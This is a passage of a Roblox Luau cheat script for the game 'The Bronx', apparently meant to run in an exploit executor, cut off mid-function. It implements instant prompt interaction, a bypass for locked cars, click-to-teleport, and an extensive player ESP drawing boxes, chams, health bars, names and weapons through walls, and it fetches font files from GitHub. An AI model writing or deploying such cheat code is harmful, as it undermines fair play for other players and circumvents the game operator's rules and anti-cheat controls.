            if LocalPlayer.Character.Humanoid:GetState() == Enum.HumanoidStateType.Physics
then
                FireServer(ReplicatedStorage.FSpamRemote)

LocalPlayer.Character.Humanoid:ChangeState(Enum.HumanoidStateType.GettingUp)
            end

            StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, true)
        end))

        ProximityPromptService.PromptButtonHoldBegan:Connect(function(Prompt, Self)
            if Prompt and Self == LocalPlayer and fireproximityprompt then
                if Config.TheBronx.PlayerModifications.InstantInteract then
                    fireproximityprompt(Prompt, true)
                end

                if Config.TheBronx.PlayerModifications.BypassLockedCars then
                    if Self == LocalPlayer then
                        while true do
                            if Prompt.Parent:FindFirstChild("DriveSeat") then
                                if Prompt:IsA("VehicleSeat") then
                                    Prompt:Sit(LocalPlayer.Character.Humanoid)
                                else
                                    Prompt = Prompt.Parent
                                end

                                break
                            else
                                Prompt = Prompt.Parent
                            end

                            if not Prompt.Parent then
                                break
                            end
                        end
                    end
                end
            end
        end)

        local Teleport_Debounce = false
        UserInputService.InputBegan:Connect(LPH_NO_VIRTUALIZE(function(Input,
Game_Event)
            if not library then return end
            if not library.flags then return end
            if Game_Event then return end
```

```
            if Input.UserInputType == Enum.UserInputType.MouseButton1 and
library.flags["ClickTeleport_TheBronx"] and Config.TheBronx.ClickTeleportActive then
                local MouseLocation = UserInputService:GetMouseLocation()
                local Ray = Camera:ViewportPointToRay(MouseLocation.X, MouseLocation.Y)
                local RaycastParams = RaycastParams.new()
                RaycastParams.FilterType = Enum.RaycastFilterType.Blacklist
                RaycastParams.FilterDescendantsInstances = {LocalPlayer.Character,
Workspace:FindFirstChild("Cameras"), Workspace:FindFirstChild("CameraLocations")}
                local Cast = Workspace:Raycast(Ray.Origin, Ray.Direction * 1000, RaycastParams)

                if Cast and not Teleport_Debounce then
                    Teleport_Debounce = true

                    Teleport(CFrame.new(Cast.Position + Vector3.new(0,3,0)))

                    Teleport_Debounce = false
                end
            end
        end))

        if Workspace:FindFirstChild("GUNS") then
            for Index, Value in Workspace:FindFirstChild("GUNS"):GetChildren() do
                if not Value:IsA("Model") then continue end;
                local Price = Value:FindFirstChild("Price", true).Value;
                if Price == 0 then continue end;
                if Price > 100000 then continue end;
                if Price < 10 then continue end;

                if not table.find(Config.Guns, Value.Name.." - $"..tostring(Price)) then
                    table.insert(Config.Guns, Value.Name.." - $"..tostring(Price));
                end;
            end;
        end;

        table.sort(Config.Guns, LPH_NO_VIRTUALIZE(function(a,b)
            return a<b
        end));
    end
  end)()
end

local Fonts = {}; do
  local function RegisterFont(Name, Weight, Style, Asset)
    if isfile(library.directory.."/assets/"..Asset.Id) then
        delfile(library.directory.."/assets/"..Asset.Id)
    end

    writefile(library.directory.."/assets/"..Asset.Id, Asset.Font)

    local Data = {
        name = Name,
        faces = {
            {
                Name = "Normal",
```

```
                weight = Weight,
                style = Style,
                assetId = getcustomasset(library.directory.."/assets/"..Asset.Id),
            },
        },
    }

    writefile(library.directory.."/fonts/"..Name .. ".font",
Services.HttpService:JSONEncode(Data))

    return getcustomasset(library.directory.."/fonts/"..Name .. ".font");
end

local Tahoma = RegisterFont("Tahoma", 400, "Normal", {
    Id = "Tahoma.ttf",
    Font = game:HttpGet("https://github.com/KingVonOBlockJoyce/OctoHook-UI/raw/refs/
heads/main/fs-tahoma-8px%20(3).ttf"),
})

local Pixel = RegisterFont("Pixel", 400, "Normal", {
    Id = "Pixel.ttf",
    Font = game:HttpGet("https://github.com/KingVonOBlockJoyce/vaderpaste.luau/raw/refs/
heads/main/Pixel.ttf"),
})

local Minecraftia = RegisterFont("Minecraftia", 400, "Normal", {
    Id = "Minecraftia.ttf",
    Font = game:HttpGet("https://github.com/i77lhm/storage/raw/refs/heads/main/fonts/
Minecraftia-Regular.ttf"),
})

local Verdana = RegisterFont("Verdana", 400, "Normal", {
    Id = "Verdana.ttf",
    Font = game:HttpGet("https://github.com/i77lhm/storage/raw/refs/heads/main/fonts/
Verdana-Font.ttf"),
})

Fonts["Plex"] = Font.new(Tahoma, Enum.FontWeight.Regular, Enum.FontStyle.Normal);
Fonts["Pixel"] = Font.new(Pixel, Enum.FontWeight.Regular, Enum.FontStyle.Normal);
Fonts["Minecraftia"] = Font.new(Minecraftia, Enum.FontWeight.Regular,
Enum.FontStyle.Normal);
Fonts["Verdana"] = Font.new(Verdana, Enum.FontWeight.Regular, Enum.FontStyle.Normal);
end

local Players_ESP = {}

local RefreshAllElements = LPH_NO_VIRTUALIZE(function()
    for i,v in Players_ESP do
        if v and v.RefreshElements then
            v.RefreshElements()
        end
    end
end)
```

```
do
    local Workspace, RunService, Players, CoreGui = Services.Workspace, Services.RunService,
Services.Players, Services.CoreGui

    -- Def & Vars
    local Euphoria = Config.ESP.Connections;
    local lplayer = Players.LocalPlayer;
    local Cam = Workspace.CurrentCamera;
    local RotationAngle, Tick = -45, tick();

    local Functions = {}
    do
        function Functions:Create(Class, Properties)
            local _Instance = typeof(Class) == 'string' and Instance.new(Class) or Class
            for Property, Value in pairs(Properties) do
                _Instance[Property] = Value
            end
            return _Instance;
        end
        --
        Functions.FadeOutOnDist = LPH_NO_VIRTUALIZE(function(element, distance)
            local transparency = math.max(0.1, 1 - (distance / Config.ESP.MaxDistance))
            if element:IsA("TextLabel") then
                element.TextTransparency = 1 - transparency
            elseif element:IsA("ImageLabel") then
                element.ImageTransparency = 1 - transparency
            elseif element:IsA("UIStroke") then
                element.Transparency = 1 - transparency
            elseif element:IsA("Frame") and (element == Healthbar or element == BehindHealthbar)
then
                element.BackgroundTransparency = 1 - transparency
            elseif element:IsA("Frame") then
                element.BackgroundTransparency = 1 - transparency
            elseif element:IsA("Highlight") then
                element.FillTransparency = 1 - transparency
                element.OutlineTransparency = 1 - transparency
            end;
        end);

        Functions.AddOutline = LPH_NO_VIRTUALIZE(function(Frame, Thickness)
            Functions:Create("Frame", {
                Parent = Frame,
                BorderSizePixel = 0,
                BackgroundColor3 = Color3.new(0, 0, 0),
                Position = UDim2.new(0, -Thickness, 0, -Thickness),
                Size = UDim2.new(1, Thickness * 2, 0, Thickness),
                ZIndex = Frame.ZIndex - 1
            })

            Functions:Create("Frame", {
                Parent = Frame,
                BorderSizePixel = 0,
                BackgroundColor3 = Color3.new(0, 0, 0),
                Position = UDim2.new(0, -Thickness, 1, 0),
```

```
            Size = UDim2.new(1, Thickness * 2, 0, Thickness),
            ZIndex = Frame.ZIndex - 1
        })

        Functions:Create("Frame", {
            Parent = Frame,
            BorderSizePixel = 0,

            BackgroundColor3 = Color3.new(0, 0, 0),
            Position = UDim2.new(0, -Thickness, 0, 0),
            Size = UDim2.new(0, Thickness, 1, 0),
            ZIndex = Frame.ZIndex - 1
        })

        Functions:Create("Frame", {
            Parent = Frame,
            BorderSizePixel = 0,

            BackgroundColor3 = Color3.new(0, 0, 0),
            Position = UDim2.new(1, 0, 0, 0),
            Size = UDim2.new(0, Thickness, 1, 0),
            ZIndex = Frame.ZIndex - 1
        })
    end)
end;

do -- Initalize
    local ScreenGui = Functions:Create("ScreenGui", {
        Parent = CoreGui,
        Name = "ESPHolder",
        ResetOnSpawn = false,
    });

    local DupeCheck = LPH_NO_VIRTUALIZE(function(plr)
        if ScreenGui:FindFirstChild(plr.Name) then
            ScreenGui[plr.Name]:Destroy()
        end
    end)

    local getHealthColor = LPH_NO_VIRTUALIZE(function(currentHealth, maxHealth)
        return
Config.ESP.Drawing.Healthbar.GradientRGB1:Lerp(Config.ESP.Drawing.Healthbar.GradientRGB
2, (currentHealth / maxHealth))
    end)

    local ESP = function(plr)
        task.spawn(LPH_JIT_MAX(function()
        if plr == lplayer then return end

        coroutine.wrap(DupeCheck)(plr)
        local Name = Functions:Create("TextLabel", {Visible = false,Parent = ScreenGui,
Position = UDim2.new(0.5, 0, 0, -11), Size = UDim2.new(0, 100, 0, 20), AnchorPoint =
Vector2.new(0.5, 0.5), BackgroundTransparency = 1, TextColor3 = Color3.fromRGB(255, 255,
```

```
255), Font = Enum.Font.Code, TextSize = Config.ESP.FontSize, TextStrokeTransparency = 0,
TextStrokeColor3 = Color3.fromRGB(0, 0, 0), RichText = true})
	local Distance = Functions:Create("TextLabel", {Visible = false,Parent = ScreenGui,
Position = UDim2.new(0.5, 0, 0, 11), Size = UDim2.new(0, 100, 0, 20), AnchorPoint =
Vector2.new(0.5, 0.5), BackgroundTransparency = 1, TextColor3 = Color3.fromRGB(255, 255,
255), Font = Enum.Font.Code, TextSize = Config.ESP.FontSize, TextStrokeTransparency = 0,
TextStrokeColor3 = Color3.fromRGB(0, 0, 0), RichText = true})
	local Weapon = Functions:Create("TextLabel", {Visible = false,Parent = ScreenGui,
Position = UDim2.new(0.5, 0, 0, 31), Size = UDim2.new(0, 100, 0, 20), AnchorPoint =
Vector2.new(0.5, 0.5), BackgroundTransparency = 1, TextColor3 = Color3.fromRGB(255, 255,
255), Font = Enum.Font.Code, TextSize = Config.ESP.FontSize, TextStrokeTransparency = 0,
TextStrokeColor3 = Color3.fromRGB(0, 0, 0), RichText = true, Text = "None"})
	local Box = Functions:Create("Frame", {Parent = ScreenGui, BackgroundColor3 =
Color3.fromRGB(0, 0, 0), BackgroundTransparency = 0.75, BorderSizePixel = 0})
	local Gradient1 = Functions:Create("UIGradient", {Parent = Box, Enabled =
Config.ESP.Drawing.Boxes.GradientFill, Color =
ColorSequence.new{ColorSequenceKeypoint.new(0,
Config.ESP.Drawing.Boxes.GradientFillRGB1), ColorSequenceKeypoint.new(1,
Config.ESP.Drawing.Boxes.GradientFillRGB2)}})
	local Outline = Functions:Create("UIStroke", {Parent = Box, Enabled =
Config.ESP.Drawing.Boxes.Gradient, Transparency = 0, Color = Color3.fromRGB(255, 255,
255), LineJoinMode = Enum.LineJoinMode.Miter})
	local Gradient2 = Functions:Create("UIGradient", {Parent = Outline, Enabled =
Config.ESP.Drawing.Boxes.Gradient, Color =
ColorSequence.new{ColorSequenceKeypoint.new(0,
Config.ESP.Drawing.Boxes.GradientRGB1), ColorSequenceKeypoint.new(1,
Config.ESP.Drawing.Boxes.GradientRGB2)}})
	local Healthbar = Functions:Create("Frame", {Parent = ScreenGui, BackgroundColor3 =
Color3.fromRGB(255, 255, 255), BackgroundTransparency = 0})
	local BehindHealthbar = Functions:Create("Frame", {BorderColor3 = Color3.fromRGB(0,
0, 0), Parent = ScreenGui, ZIndex = -1, BackgroundColor3 = Color3.fromRGB(0, 0, 0),
BackgroundTransparency = 0})
	local HealthbarGradient = Functions:Create("UIGradient", {Parent = Healthbar, Enabled
= Config.ESP.Drawing.Healthbar.Gradient, Rotation = -90, Color =
ColorSequence.new{ColorSequenceKeypoint.new(0,
Config.ESP.Drawing.Healthbar.GradientRGB1), ColorSequenceKeypoint.new(1,
Config.ESP.Drawing.Healthbar.GradientRGB2)}})
	local HealthText = Functions:Create("TextLabel", {Visible = false,Parent = ScreenGui,
Position = UDim2.new(0.5, 0, 0, 31), Size = UDim2.new(0, 100, 0, 20), AnchorPoint =
Vector2.new(0.5, 0.5), BackgroundTransparency = 1, TextColor3 = Color3.fromRGB(255, 255,
255), Font = Enum.Font.Code, TextSize = Config.ESP.FontSize, TextStrokeTransparency = 0,
TextStrokeColor3 = Color3.fromRGB(0, 0, 0), ZIndex = 500})
	local Chams = Functions:Create("Highlight", {Parent = ScreenGui, FillTransparency = 1,
OutlineTransparency = 0, OutlineColor = Color3.fromRGB(119, 120, 255), DepthMode =
"AlwaysOnTop"})
	local WeaponIcon = Functions:Create("ImageLabel", {Parent = ScreenGui,
BackgroundTransparency = 1, BorderColor3 = Color3.fromRGB(0, 0, 0), BorderSizePixel = 0,
Size = UDim2.new(0, 40, 0, 40)})
	local Gradient3 = Functions:Create("UIGradient", {Parent = WeaponIcon, Rotation =
-90, Enabled = Config.ESP.Drawing.Weapons.Gradient, Color =
ColorSequence.new{ColorSequenceKeypoint.new(0,
Config.ESP.Drawing.Weapons.GradientRGB1), ColorSequenceKeypoint.new(1,
Config.ESP.Drawing.Weapons.GradientRGB2)}})
```

```
	local LeftTop = Functions:Create("Frame", {Parent = ScreenGui, BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB, Position = UDim2.new(0, 0, 0, 0), BorderSizePixel = 0, BorderColor3 = Color3.new(0,0,0)})
	local LeftSide = Functions:Create("Frame", {Parent = ScreenGui, BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB, Position = UDim2.new(0, 0, 0, 0), BorderSizePixel = 0, BorderColor3 = Color3.new(0,0,0)})
	local RightTop = Functions:Create("Frame", {Parent = ScreenGui, BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB, Position = UDim2.new(0, 0, 0, 0), BorderSizePixel = 0, BorderColor3 = Color3.new(0,0,0)})
	local RightSide = Functions:Create("Frame", {Parent = ScreenGui, BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB, Position = UDim2.new(0, 0, 0, 0), BorderSizePixel = 0, BorderColor3 = Color3.new(0,0,0)})
	local BottomSide = Functions:Create("Frame", {Parent = ScreenGui, BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB, Position = UDim2.new(0, 0, 0, 0), BorderSizePixel = 0, BorderColor3 = Color3.new(0,0,0)})
	local BottomDown = Functions:Create("Frame", {Parent = ScreenGui, BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB, Position = UDim2.new(0, 0, 0, 0), BorderSizePixel = 0, BorderColor3 = Color3.new(0,0,0)})
	local BottomRightSide = Functions:Create("Frame", {Parent = ScreenGui, BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB, Position = UDim2.new(0, 0, 0, 0), BorderSizePixel = 0, BorderColor3 = Color3.new(0,0,0)})
	local BottomRightDown = Functions:Create("Frame", {Parent = ScreenGui, BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB, Position = UDim2.new(0, 0, 0, 0), BorderSizePixel = 0, BorderColor3 = Color3.new(0,0,0)})
	local Flag1 = Functions:Create("TextLabel", {Visible = false,Parent = ScreenGui, Position = UDim2.new(1, 0, 0, 0), Size = UDim2.new(0, 100, 0, 20), AnchorPoint = Vector2.new(0.5, 0.5), BackgroundTransparency = 1, TextColor3 = Color3.fromRGB(255, 255, 255), Font = Enum.Font.Code, TextSize = Config.ESP.FontSize, TextStrokeTransparency = 0, TextStrokeColor3 = Color3.fromRGB(0, 0, 0)})
	local Flag2 = Functions:Create("TextLabel", {Visible = false,Parent = ScreenGui, Position = UDim2.new(1, 0, 0, 0), Size = UDim2.new(0, 100, 0, 20), AnchorPoint = Vector2.new(0.5, 0.5), BackgroundTransparency = 1, TextColor3 = Color3.fromRGB(255, 255, 255), Font = Enum.Font.Code, TextSize = Config.ESP.FontSize, TextStrokeTransparency = 0, TextStrokeColor3 = Color3.fromRGB(0, 0, 0)})
	--local DroppedItems = Functions:Create("TextLabel", {Visible = false,Parent = ScreenGui, AnchorPoint = Vector2.new(0.5, 0.5), BackgroundTransparency = 1, TextColor3 = Color3.fromRGB(255, 255, 255), Font = Enum.Font.Code, TextSize = Config.ESP.FontSize, TextStrokeTransparency = 0, TextStrokeColor3 = Color3.fromRGB(0, 0, 0)})
	--
	Functions.AddOutline(LeftTop, 1); Functions.AddOutline(LeftSide, 1); Functions.AddOutline(LeftSide, 1); Functions.AddOutline(RightTop, 1); Functions.AddOutline(RightSide, 1); Functions.AddOutline(BottomSide, 1); Functions.AddOutline(BottomDown, 1); Functions.AddOutline(BottomRightSide, 1); Functions.AddOutline(BottomRightDown, 1);
	if not plr.Character then plr.CharacterAdded:Wait() end
	local Humanoid, HRP = plr.Character:WaitForChild("Humanoid"), plr.Character:WaitForChild("HumanoidRootPart")

	local Pos, OnScreen = Cam:WorldToScreenPoint(HRP.Position)
	local Dist = (Cam.CFrame.Position - HRP.Position).Magnitude

	local Size = HRP.Size.Y
```

```
        if DefaultPlayerSettings[plr.Name] and DefaultPlayerSettings[plr.Name].RootSettings
and DefaultPlayerSettings[plr.Name].RootSettings.Size then
            Size = DefaultPlayerSettings[plr.Name].RootSettings.Size.Y
        end

        local health_clamped = math.clamp(Humanoid.Health, 0, Humanoid.MaxHealth)
        local health = health_clamped / Humanoid.MaxHealth;

        local scaleFactor = (Size * Cam.ViewportSize.Y) / (Pos.Z * 2)

        local w, h = 3 * scaleFactor, 4.5 * scaleFactor

        if not Players_ESP[plr.Name] then
            -- ERROR BECAUSE LEAVE + JOIN NEW PLAYER CHARACTER NEW ESP
ELEMTNS

            Players_ESP[plr.Name] = {}
            Players_ESP[plr.Name].RefreshElements = LPH_JIT_MAX(function()
                task.spawn(LPH_NO_VIRTUALIZE(function()
                    if Config.ESP.Font == Fonts["Plex"] or Config.ESP.Font == Fonts["Pixel"] or
Config.ESP.Font == Fonts["Minecraftia"] or Config.ESP.Font == Fonts["Verdana"] then
                        HealthText.FontFace = Config.ESP.Font
                        Name.FontFace = Config.ESP.Font
                        Distance.FontFace = Config.ESP.Font
                        Weapon.FontFace = Config.ESP.Font
                    else
                        HealthText.Font = Config.ESP.Font
                        Name.Font = Config.ESP.Font
                        Distance.Font = Config.ESP.Font
                        Weapon.Font = Config.ESP.Font
                    end

                    do -- \\ Boxes
                        Box.Visible = Config.ESP.Drawing.Boxes.Full.Enabled
                        if Config.ESP.Drawing.Boxes.Filled.Enabled then
                            Box.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
                            if Config.ESP.Drawing.Boxes.GradientFill then
                                Box.BackgroundTransparency =
Config.ESP.Drawing.Boxes.Filled.Transparency;
                            else
                                Box.BackgroundTransparency = 1
                            end
                            Box.BorderSizePixel = 1
                        else
                            Box.BackgroundTransparency = 1
                        end

                        if not Config.ESP.Drawing.Boxes.Bounding.Enabled or
(Config.ESP.Drawing.Boxes.Corner.Enabled and Config.ESP.Drawing.Boxes.Bounding.Enabled)
then
                            LeftTop.Transparency = Config.ESP.Drawing.Boxes.Corner.Transparency
                            LeftTop.BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB

                            LeftSide.Transparency = Config.ESP.Drawing.Boxes.Corner.Transparency
```

```
                    LeftSide.BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB

                    BottomSide.Transparency =
Config.ESP.Drawing.Boxes.Corner.Transparency
                    BottomSide.BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB

                    BottomDown.Transparency =
Config.ESP.Drawing.Boxes.Corner.Transparency
                    BottomDown.BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB

                    RightTop.Transparency = Config.ESP.Drawing.Boxes.Corner.Transparency
                    RightTop.BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB

                    RightSide.Transparency = Config.ESP.Drawing.Boxes.Corner.Transparency
                    RightSide.BackgroundColor3 = Config.ESP.Drawing.Boxes.Corner.RGB

                    BottomRightSide.Transparency =
Config.ESP.Drawing.Boxes.Corner.Transparency
                    BottomRightSide.BackgroundColor3 =
Config.ESP.Drawing.Boxes.Corner.RGB

                    BottomRightDown.Transparency =
Config.ESP.Drawing.Boxes.Corner.Transparency
                    BottomRightDown.BackgroundColor3 =
Config.ESP.Drawing.Boxes.Corner.RGB
                end

                if not Config.ESP.Drawing.Boxes.Corner.Enabled then
                    LeftTop.Transparency = Config.ESP.Drawing.Boxes.Bounding.Transparency
                    LeftSide.Transparency =
Config.ESP.Drawing.Boxes.Bounding.Transparency
                    BottomSide.Transparency =
Config.ESP.Drawing.Boxes.Bounding.Transparency
                    RightSide.Transparency =
Config.ESP.Drawing.Boxes.Bounding.Transparency

                    LeftTop.BackgroundColor3 = Config.ESP.Drawing.Boxes.Bounding.RGB
                    LeftSide.BackgroundColor3 = Config.ESP.Drawing.Boxes.Bounding.RGB
                    BottomSide.BackgroundColor3 =
Config.ESP.Drawing.Boxes.Bounding.RGB
                    RightSide.BackgroundColor3 = Config.ESP.Drawing.Boxes.Bounding.RGB
                end

                BottomSide.AnchorPoint = Vector2.new(0, 5)
                BottomDown.AnchorPoint = Vector2.new(0, 1)
                RightTop.AnchorPoint = Vector2.new(1, 0)
                RightSide.AnchorPoint = Vector2.new(0, 0)
                BottomRightSide.AnchorPoint = Vector2.new(1, 1)
                BottomRightDown.AnchorPoint = Vector2.new(1, 1)

                if not Config.ESP.Drawing.Boxes.Animate then
                    Gradient1.Rotation = -45
                    Gradient2.Rotation = -45
                end
```

```
                    Gradient1.Color = ColorSequence.new{ColorSequenceKeypoint.new(0,
Config.ESP.Drawing.Boxes.GradientFillRGB1), ColorSequenceKeypoint.new(1,
Config.ESP.Drawing.Boxes.GradientFillRGB2)}
                    Gradient2.Color = ColorSequence.new{ColorSequenceKeypoint.new(0,
Config.ESP.Drawing.Boxes.GradientRGB1), ColorSequenceKeypoint.new(1,
Config.ESP.Drawing.Boxes.GradientRGB2)}
                end

                do -- \\ Names
                    Name.TextSize = Config.ESP.FontSize
                    --Name.Font = Config.ESP.Font
                    Name.TextColor3 = Config.ESP.Drawing.Names.RGB
                    Name.TextStrokeTransparency = Config.ESP.Drawing.Names.Transparency
                end

                do -- \\ Chams
                    if Config.ESP.Drawing.Chams.VisibleCheck then
                        Chams.DepthMode = "Occluded"
                    else
                        Chams.DepthMode = "AlwaysOnTop"
                    end

                    Chams.FillColor = Config.ESP.Drawing.Chams.FillRGB
                    Chams.OutlineColor = Config.ESP.Drawing.Chams.OutlineRGB

                    if not Config.ESP.Drawing.Chams.Thermal then
                        Chams.OutlineTransparency =
Config.ESP.Drawing.Chams.Outline_Transparency / 100
                        Chams.FillTransparency = Config.ESP.Drawing.Chams.Fill_Transparency /
100
                    end
                end

                do -- \\ Rest im lazy cuzzy bro
                    Distance.TextStrokeTransparency =
Config.ESP.Drawing.Distances.Transparency
                    Distance.TextSize = Config.ESP.FontSize
                    Distance.TextColor3 = Config.ESP.Drawing.Distances.RGB
                    Weapon.TextStrokeTransparency =
Config.ESP.Drawing.Weapons.Transparency
                    Weapon.TextSize = Config.ESP.FontSize
                    Weapon.TextColor3 = Config.ESP.Drawing.Weapons.WeaponTextRGB
                end
            end))
        end)

        Players_ESP[plr.Name].Health_Changed = LPH_NO_VIRTUALIZE(function()
            health_clamped = math.clamp(Humanoid.Health, 0, Humanoid.MaxHealth)
            health = health_clamped / Humanoid.MaxHealth;
        end)

        Players_ESP[plr.Name].Health_Changed()
```

```
            Players_ESP[plr.Name].Child_Added = LPH_NO_VIRTUALIZE(function(Item)
                if not Item:IsA("Tool") then
                    return
                end

                local name = plr.Character:FindFirstChild(Item.Name) and Item.Name or "None"

                Weapon.Text = name
            end)

            Players_ESP[plr.Name].ToolConnection_Added =
plr.Character.ChildAdded:Connect(Players_ESP[plr.Name].Child_Added)
            Players_ESP[plr.Name].ToolConnection_Removed =
plr.Character.ChildRemoved:Connect(Players_ESP[plr.Name].Child_Added)

            Players_ESP[plr.Name].HumanoidConnection =
Humanoid.HealthChanged:Connect(Players_ESP[plr.Name].Health_Changed)

            Players_ESP[plr.Name].CharacterAdded =
plr.CharacterAdded:Connect(LPH_JIT_MAX(function(Character)
                Humanoid = Character:WaitForChild("Humanoid")
                HRP = Character:WaitForChild("HumanoidRootPart")
                Players_ESP[plr.Name].ToolConnection_Added:Disconnect()
                Players_ESP[plr.Name].ToolConnection_Removed:Disconnect()

                Players_ESP[plr.Name].ToolConnection_Removed = nil
                Players_ESP[plr.Name].ToolConnection_Added = nil

                Players_ESP[plr.Name].ToolConnection_Added =
plr.Character.ChildAdded:Connect(Players_ESP[plr.Name].Child_Added)
                Players_ESP[plr.Name].ToolConnection_Removed =
plr.Character.ChildRemoved:Connect(Players_ESP[plr.Name].Child_Added)

                Players_ESP[plr.Name].HumanoidConnection:Disconnect()
                Players_ESP[plr.Name].HumanoidConnection =
Humanoid.HealthChanged:Connect(Players_ESP[plr.Name].Health_Changed)
                Players_ESP[plr.Name].Health_Changed()
                Players_ESP[plr.Name].RefreshElements()
            end))

            Players_ESP[plr.Name].RefreshElements()
        end

        local Updater = function()
            local Connection;
            local HideESP = LPH_NO_VIRTUALIZE(function()
                Box.Visible = false;
                Name.Visible = false;
                Distance.Visible = false;
                Weapon.Visible = false;
                Healthbar.Visible = false;
                BehindHealthbar.Visible = false;
                HealthText.Visible = false;
                WeaponIcon.Visible = false;
```

```
            LeftTop.Visible = false;
            LeftSide.Visible = false;
            BottomSide.Visible = false;
            BottomDown.Visible = false;
            RightTop.Visible = false;
            RightSide.Visible = false;
            BottomRightSide.Visible = false;
            BottomRightDown.Visible = false;
            Flag1.Visible = false;
            Chams.Enabled = false;
            Flag2.Visible = false;
            if not plr then
                ScreenGui:Destroy();
                Connection:Disconnect();
            end
        end)
        --
        Connection =
Euphoria.RunService.RenderStepped:Connect(LPH_NO_VIRTUALIZE(function()
            if plr.Character and lplayer.Character and Config.ESP.Enabled then
                if Humanoid and HRP then
                    Pos, OnScreen = Cam:WorldToScreenPoint(HRP.Position)
                    Dist = (Cam.CFrame.Position - HRP.Position).Magnitude

                    if OnScreen and Dist <= Config.ESP.MaxDistance then
                        Size = HRP.Size.Y

                        if DefaultPlayerSettings[plr.Name] and
DefaultPlayerSettings[plr.Name].RootSettings and
DefaultPlayerSettings[plr.Name].RootSettings.Size then
                            Size = DefaultPlayerSettings[plr.Name].RootSettings.Size.Y
                        end

                        scaleFactor = (Size * Cam.ViewportSize.Y) / (Pos.Z * 2)

                        w, h = 3 * scaleFactor, 4.5 * scaleFactor

                        -- Fade-out effect --
                        if Config.ESP.FadeOut.OnDistance then
                            Functions.FadeOutOnDist(Box, Dist)
                            Functions.FadeOutOnDist(Outline, Dist)
                            Functions.FadeOutOnDist(Name, Dist)
                            Functions.FadeOutOnDist(Distance, Dist)
                            Functions.FadeOutOnDist(Weapon, Dist)
                            Functions.FadeOutOnDist(Healthbar, Dist)
                            Functions.FadeOutOnDist(BehindHealthbar, Dist)
                            Functions.FadeOutOnDist(HealthText, Dist)
                            Functions.FadeOutOnDist(WeaponIcon, Dist)
                            Functions.FadeOutOnDist(LeftTop, Dist)
                            Functions.FadeOutOnDist(LeftSide, Dist)
                            Functions.FadeOutOnDist(BottomSide, Dist)
                            Functions.FadeOutOnDist(BottomDown, Dist)
                            Functions.FadeOutOnDist(RightTop, Dist)
                            Functions.FadeOutOnDist(RightSide, Dist)
```

```
                    Functions.FadeOutOnDist(BottomRightSide, Dist)
                    Functions.FadeOutOnDist(BottomRightDown, Dist)
                    Functions.FadeOutOnDist(Chams, Dist)
                    Functions.FadeOutOnDist(Flag1, Dist)
                    Functions.FadeOutOnDist(Flag2, Dist)
                end

                -- Teamcheck
                if HRP and Humanoid then
                    do -- Chams
                        Chams.Adornee = plr.Character
                        Chams.Enabled = Config.ESP.Drawing.Chams.Enabled
                        do -- Breathe
                            if Config.ESP.Drawing.Chams.Thermal then
                                local breathe_effect = math.atan(math.sin(tick() * 2)) * 2 / math.pi
                                Chams.FillTransparency =
Config.ESP.Drawing.Chams.Fill_Transparency * breathe_effect * 0.01
                                Chams.OutlineTransparency =
Config.ESP.Drawing.Chams.Outline_Transparency * breathe_effect * 0.01
                            end
                        end
                    end;

                    do -- Corner Boxes
                        if not Config.ESP.Drawing.Boxes.Bounding.Enabled or
(Config.ESP.Drawing.Boxes.Corner.Enabled and Config.ESP.Drawing.Boxes.Bounding.Enabled)
then
                            LeftTop.Visible = Config.ESP.Drawing.Boxes.Corner.Enabled
                            LeftTop.Position = UDim2.new(0, Pos.X - w / 2, 0, Pos.Y - h / 2)
                            LeftTop.Size = UDim2.new(0, w / 5, 0, 1)

                            LeftSide.Visible = Config.ESP.Drawing.Boxes.Corner.Enabled
                            LeftSide.Position = UDim2.new(0, Pos.X - w / 2, 0, Pos.Y - h / 2)
                            LeftSide.Size = UDim2.new(0, 1, 0, h / 5)

                            BottomSide.Visible = Config.ESP.Drawing.Boxes.Corner.Enabled
                            BottomSide.Position = UDim2.new(0, Pos.X - w / 2, 0, Pos.Y + h /
2)
                            BottomSide.Size = UDim2.new(0, 1, 0, h / 5)

                            BottomDown.Visible = Config.ESP.Drawing.Boxes.Corner.Enabled
                            BottomDown.Position = UDim2.new(0, Pos.X - w / 2, 0, Pos.Y + h /
2)
                            BottomDown.Size = UDim2.new(0, w / 5, 0, 1)


                            RightTop.Visible = Config.ESP.Drawing.Boxes.Corner.Enabled
                            RightTop.Position = UDim2.new(0, Pos.X + w / 2, 0, Pos.Y - h / 2)
                            RightTop.Size = UDim2.new(0, w / 5, 0, 1)

                            RightSide.Visible = Config.ESP.Drawing.Boxes.Corner.Enabled
                            RightSide.Position = UDim2.new(0, Pos.X + w / 2 - 1, 0, Pos.Y - h /
2)
                            RightSide.Size = UDim2.new(0, 1, 0, h / 5)
```

```
                                BottomRightSide.Visible =
Config.ESP.Drawing.Boxes.Corner.Enabled
                                BottomRightSide.Position = UDim2.new(0, Pos.X + w / 2, 0, Pos.Y
+ h / 2)
                                BottomRightSide.Size = UDim2.new(0, 1, 0, h / 5)

                                BottomRightDown.Visible =
Config.ESP.Drawing.Boxes.Corner.Enabled
                                BottomRightDown.Position = UDim2.new(0, Pos.X + w / 2, 0, Pos.Y
+ h / 2)
                                BottomRightDown.Size = UDim2.new(0, w / 5, 0, 1)
                            end
                        end

                        do -- // Bounding Boxes
                            if not Config.ESP.Drawing.Boxes.Corner.Enabled then
                                LeftTop.Visible = Config.ESP.Drawing.Boxes.Bounding.Enabled
                                LeftTop.Position = UDim2.new(0, Pos.X - w / 2, 0, Pos.Y - h / 2)
                                LeftTop.Size = UDim2.new(0, w, 0, 1)


                                LeftSide.Visible = Config.ESP.Drawing.Boxes.Bounding.Enabled
                                LeftSide.Position = UDim2.new(0, Pos.X - w / 2, 0, Pos.Y - h / 2)
                                LeftSide.Size = UDim2.new(0, 1, 0, h)


